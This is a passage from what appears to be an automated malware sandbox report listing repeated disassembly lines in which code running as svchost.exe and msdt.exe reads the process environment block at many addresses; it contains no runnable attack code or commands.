          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038561A0 mov eax, dword ptr fs:[00000030h]1_2_038561A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A69A6 mov eax, dword ptr fs:[00000030h]1_2_038A69A6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h]1_2_038A51BE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h]1_2_038A51BE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h]1_2_038A51BE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h]1_2_038A51BE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h]1_2_0382B1E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h]1_2_0382B1E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h]1_2_0382B1E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B41E8 mov eax, dword ptr fs:[00000030h]1_2_038B41E8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829100 mov eax, dword ptr fs:[00000030h]1_2_03829100
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829100 mov eax, dword ptr fs:[00000030h]1_2_03829100
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829100 mov eax, dword ptr fs:[00000030h]1_2_03829100
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03844120 mov eax, dword ptr fs:[00000030h]1_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03844120 mov eax, dword ptr fs:[00000030h]1_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03844120 mov eax, dword ptr fs:[00000030h]1_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03844120 mov eax, dword ptr fs:[00000030h]1_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03844120 mov ecx, dword ptr fs:[00000030h]1_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385513A mov eax, dword ptr fs:[00000030h]1_2_0385513A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385513A mov eax, dword ptr fs:[00000030h]1_2_0385513A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384B944 mov eax, dword ptr fs:[00000030h]1_2_0384B944
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384B944 mov eax, dword ptr fs:[00000030h]1_2_0384B944
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C962 mov eax, dword ptr fs:[00000030h]1_2_0382C962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382B171 mov eax, dword ptr fs:[00000030h]1_2_0382B171
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382B171 mov eax, dword ptr fs:[00000030h]1_2_0382B171
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829080 mov eax, dword ptr fs:[00000030h]1_2_03829080
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A3884 mov eax, dword ptr fs:[00000030h]1_2_038A3884
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A3884 mov eax, dword ptr fs:[00000030h]1_2_038A3884
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h]1_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038690AF mov eax, dword ptr fs:[00000030h]1_2_038690AF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385F0BF mov ecx, dword ptr fs:[00000030h]1_2_0385F0BF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385F0BF mov eax, dword ptr fs:[00000030h]1_2_0385F0BF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385F0BF mov eax, dword ptr fs:[00000030h]1_2_0385F0BF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov ecx, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h]1_2_038BB8D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038258EC mov eax, dword ptr fs:[00000030h]1_2_038258EC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F4015 mov eax, dword ptr fs:[00000030h]1_2_038F4015
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F4015 mov eax, dword ptr fs:[00000030h]1_2_038F4015
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h]1_2_038A7016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h]1_2_038A7016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h]1_2_038A7016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385002D mov eax, dword ptr fs:[00000030h]1_2_0385002D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385002D mov eax, dword ptr fs:[00000030h]1_2_0385002D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385002D mov eax, dword ptr fs:[00000030h]1_2_0385002D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385002D mov eax, dword ptr fs:[00000030h]1_2_0385002D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385002D mov eax, dword ptr fs:[00000030h]1_2_0385002D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h]1_2_0383B02A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h]1_2_0383B02A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h]1_2_0383B02A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h]1_2_0383B02A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840050 mov eax, dword ptr fs:[00000030h]1_2_03840050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840050 mov eax, dword ptr fs:[00000030h]1_2_03840050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F1074 mov eax, dword ptr fs:[00000030h]1_2_038F1074
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E2073 mov eax, dword ptr fs:[00000030h]1_2_038E2073
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838794 mov eax, dword ptr fs:[00000030h]1_2_03838794
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h]1_2_038A7794
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h]1_2_038A7794
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h]1_2_038A7794
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038637F5 mov eax, dword ptr fs:[00000030h]1_2_038637F5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F070D mov eax, dword ptr fs:[00000030h]1_2_038F070D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F070D mov eax, dword ptr fs:[00000030h]1_2_038F070D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A70E mov eax, dword ptr fs:[00000030h]1_2_0385A70E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A70E mov eax, dword ptr fs:[00000030h]1_2_0385A70E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384F716 mov eax, dword ptr fs:[00000030h]1_2_0384F716
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BFF10 mov eax, dword ptr fs:[00000030h]1_2_038BFF10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BFF10 mov eax, dword ptr fs:[00000030h]1_2_038BFF10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03824F2E mov eax, dword ptr fs:[00000030h]1_2_03824F2E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03824F2E mov eax, dword ptr fs:[00000030h]1_2_03824F2E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E730 mov eax, dword ptr fs:[00000030h]1_2_0385E730
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EF40 mov eax, dword ptr fs:[00000030h]1_2_0383EF40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383FF60 mov eax, dword ptr fs:[00000030h]1_2_0383FF60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8F6A mov eax, dword ptr fs:[00000030h]1_2_038F8F6A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BFE87 mov eax, dword ptr fs:[00000030h]1_2_038BFE87
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h]1_2_038F0EA5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h]1_2_038F0EA5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h]1_2_038F0EA5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A46A7 mov eax, dword ptr fs:[00000030h]1_2_038A46A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868EC7 mov eax, dword ptr fs:[00000030h]1_2_03868EC7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038536CC mov eax, dword ptr fs:[00000030h]1_2_038536CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DFEC0 mov eax, dword ptr fs:[00000030h]1_2_038DFEC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8ED6 mov eax, dword ptr fs:[00000030h]1_2_038F8ED6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038376E2 mov eax, dword ptr fs:[00000030h]1_2_038376E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038516E0 mov ecx, dword ptr fs:[00000030h]1_2_038516E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h]1_2_0382C600
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h]1_2_0382C600
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h]1_2_0382C600
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03858E00 mov eax, dword ptr fs:[00000030h]1_2_03858E00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1608 mov eax, dword ptr fs:[00000030h]1_2_038E1608
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A61C mov eax, dword ptr fs:[00000030h]1_2_0385A61C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A61C mov eax, dword ptr fs:[00000030h]1_2_0385A61C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E620 mov eax, dword ptr fs:[00000030h]1_2_0382E620
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DFE3F mov eax, dword ptr fs:[00000030h]1_2_038DFE3F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h]1_2_03837E41
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EAE44 mov eax, dword ptr fs:[00000030h]1_2_038EAE44
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EAE44 mov eax, dword ptr fs:[00000030h]1_2_038EAE44
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383766D mov eax, dword ptr fs:[00000030h]1_2_0383766D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h]1_2_0384AE73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h]1_2_0384AE73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h]1_2_0384AE73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h]1_2_0384AE73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h]1_2_0384AE73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852581 mov eax, dword ptr fs:[00000030h]1_2_03852581
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852581 mov eax, dword ptr fs:[00000030h]1_2_03852581
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852581 mov eax, dword ptr fs:[00000030h]1_2_03852581
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852581 mov eax, dword ptr fs:[00000030h]1_2_03852581
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h]1_2_03822D8A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h]1_2_03822D8A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h]1_2_03822D8A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h]1_2_03822D8A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h]1_2_03822D8A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FD9B mov eax, dword ptr fs:[00000030h]1_2_0385FD9B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FD9B mov eax, dword ptr fs:[00000030h]1_2_0385FD9B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F05AC mov eax, dword ptr fs:[00000030h]1_2_038F05AC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F05AC mov eax, dword ptr fs:[00000030h]1_2_038F05AC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038535A1 mov eax, dword ptr fs:[00000030h]1_2_038535A1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h]1_2_03851DB5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h]1_2_03851DB5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h]1_2_03851DB5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov ecx, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h]1_2_038A6DC9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383D5E0 mov eax, dword ptr fs:[00000030h]1_2_0383D5E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383D5E0 mov eax, dword ptr fs:[00000030h]1_2_0383D5E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h]1_2_038EFDE2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h]1_2_038EFDE2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h]1_2_038EFDE2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h]1_2_038EFDE2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D8DF1 mov eax, dword ptr fs:[00000030h]1_2_038D8DF1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382AD30 mov eax, dword ptr fs:[00000030h]1_2_0382AD30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h]1_2_03833D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EE539 mov eax, dword ptr fs:[00000030h]1_2_038EE539
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8D34 mov eax, dword ptr fs:[00000030h]1_2_038F8D34
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AA537 mov eax, dword ptr fs:[00000030h]1_2_038AA537
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h]1_2_03854D3B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h]1_2_03854D3B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h]1_2_03854D3B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03863D43 mov eax, dword ptr fs:[00000030h]1_2_03863D43
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A3540 mov eax, dword ptr fs:[00000030h]1_2_038A3540
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03847D50 mov eax, dword ptr fs:[00000030h]1_2_03847D50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384C577 mov eax, dword ptr fs:[00000030h]1_2_0384C577
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384C577 mov eax, dword ptr fs:[00000030h]1_2_0384C577
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383849B mov eax, dword ptr fs:[00000030h]1_2_0383849B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8CD6 mov eax, dword ptr fs:[00000030h]1_2_038F8CD6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E14FB mov eax, dword ptr fs:[00000030h]1_2_038E14FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h]1_2_038A6CF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h]1_2_038A6CF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h]1_2_038A6CF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h]1_2_038A6C0A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h]1_2_038A6C0A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h]1_2_038A6C0A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h]1_2_038A6C0A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F740D mov eax, dword ptr fs:[00000030h]1_2_038F740D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F740D mov eax, dword ptr fs:[00000030h]1_2_038F740D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F740D mov eax, dword ptr fs:[00000030h]1_2_038F740D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h]1_2_038E1C06
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385BC2C mov eax, dword ptr fs:[00000030h]1_2_0385BC2C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A44B mov eax, dword ptr fs:[00000030h]1_2_0385A44B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC450 mov eax, dword ptr fs:[00000030h]1_2_038BC450
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC450 mov eax, dword ptr fs:[00000030h]1_2_038BC450
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384746D mov eax, dword ptr fs:[00000030h]1_2_0384746D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F914FB mov eax, dword ptr fs:[00000030h]7_2_04F914FB
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h]7_2_04F56CF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h]7_2_04F56CF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h]7_2_04F56CF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA8CD6 mov eax, dword ptr fs:[00000030h]7_2_04FA8CD6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE849B mov eax, dword ptr fs:[00000030h]7_2_04EE849B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF746D mov eax, dword ptr fs:[00000030h]7_2_04EF746D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6C450 mov eax, dword ptr fs:[00000030h]7_2_04F6C450
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6C450 mov eax, dword ptr fs:[00000030h]7_2_04F6C450
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A44B mov eax, dword ptr fs:[00000030h]7_2_04F0A44B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0BC2C mov eax, dword ptr fs:[00000030h]7_2_04F0BC2C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h]7_2_04FA740D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h]7_2_04FA740D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h]7_2_04FA740D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
